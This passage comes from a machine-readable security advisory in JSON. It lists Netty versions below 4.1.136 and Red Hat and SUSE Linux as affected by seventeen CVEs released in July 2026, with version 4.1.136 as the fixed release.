                "category": "product_version_range",
                "name": "\u003c4.1.136",
                "product": {
                  "name": "Open Source Netty \u003c4.1.136",
                  "product_id": "T056599"
                }
              },
              {
                "category": "product_version",
                "name": "4.1.136",
                "product": {
                  "name": "Open Source Netty 4.1.136",
                  "product_id": "T056599-fixed",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:netty:netty:4.1.136"
                  }
                }
              }
            ],
            "category": "product_name",
            "name": "Netty"
          }
        ],
        "category": "vendor",
        "name": "Open Source"
      },
      {
        "branches": [
          {
            "category": "product_name",
            "name": "Red Hat Enterprise Linux",
            "product": {
              "name": "Red Hat Enterprise Linux",
              "product_id": "67646",
              "product_identification_helper": {
                "cpe": "cpe:/o:redhat:enterprise_linux:-"
              }
            }
          }
        ],
        "category": "vendor",
        "name": "Red Hat"
      },
      {
        "branches": [
          {
            "category": "product_name",
            "name": "SUSE Linux",
            "product": {
              "name": "SUSE Linux",
              "product_id": "T054646",
              "product_identification_helper": {
                "cpe": "cpe:/o:suse:suse_linux:-"
              }
            }
          }
        ],
        "category": "vendor",
        "name": "SUSE"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-44891",
      "product_status": {
        "known_affected": [
          "T056599",
          "67646",
          "T054646",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-44891"
    },
    {
      "cve": "CVE-2026-55831",
      "product_status": {
        "known_affected": [
          "T056599",
          "67646",
          "T054646",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-55831"
    },
    {
      "cve": "CVE-2026-55833",
      "product_status": {
        "known_affected": [
          "T056599",
          "67646",
          "T054646",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-55833"
    },
    {
      "cve": "CVE-2026-55851",
      "product_status": {
        "known_affected": [
          "T056599",
          "67646",
          "T054646",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-55851"
    },
    {
      "cve": "CVE-2026-56745",
      "product_status": {
        "known_affected": [
          "T056599",
          "67646",
          "T054646",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-56745"
    },
    {
      "cve": "CVE-2026-56816",
      "product_status": {
        "known_affected": [
          "T056599",
          "67646",
          "T054646",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-56816"
    },
    {
      "cve": "CVE-2026-56817",
      "product_status": {
        "known_affected": [
          "T056599",
          "67646",
          "T054646",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-56817"
    },
    {
      "cve": "CVE-2026-56819",
      "product_status": {
        "known_affected": [
          "T056599",
          "67646",
          "T054646",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-56819"
    },
    {
      "cve": "CVE-2026-56820",
      "product_status": {
        "known_affected": [
          "T056599",
          "67646",
          "T054646",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-56820"
    },
    {
      "cve": "CVE-2026-56821",
      "product_status": {
        "known_affected": [
          "T056599",
          "67646",
          "T054646",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-56821"
    },
    {
      "cve": "CVE-2026-56822",
      "product_status": {
        "known_affected": [
          "T056599",
          "67646",
          "T054646",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-56822"
    },
    {
      "cve": "CVE-2026-59898",
      "product_status": {
        "known_affected": [
          "T056599",
          "67646",
          "T054646",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-59898"
    },
    {
      "cve": "CVE-2026-59899",
      "product_status": {
        "known_affected": [
          "T056599",
          "67646",
          "T054646",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-59899"
    },
    {
      "cve": "CVE-2026-59900",
      "product_status": {
        "known_affected": [
          "T056599",
          "67646",
          "T054646",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-59900"
    },
    {
      "cve": "CVE-2026-59901",
      "product_status": {
        "known_affected": [
          "T056599",
          "67646",
          "T054646",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-59901"
    },
    {
      "cve": "CVE-2026-59920",
      "product_status": {
        "known_affected": [
          "T056599",
          "67646",
          "T054646",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-59920"
    },
    {
      "cve": "CVE-2026-59921",
      "product_status": {
        "known_affected": [
          "T056599",
          "67646",
          "T054646",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-59921"
    }
  ]
}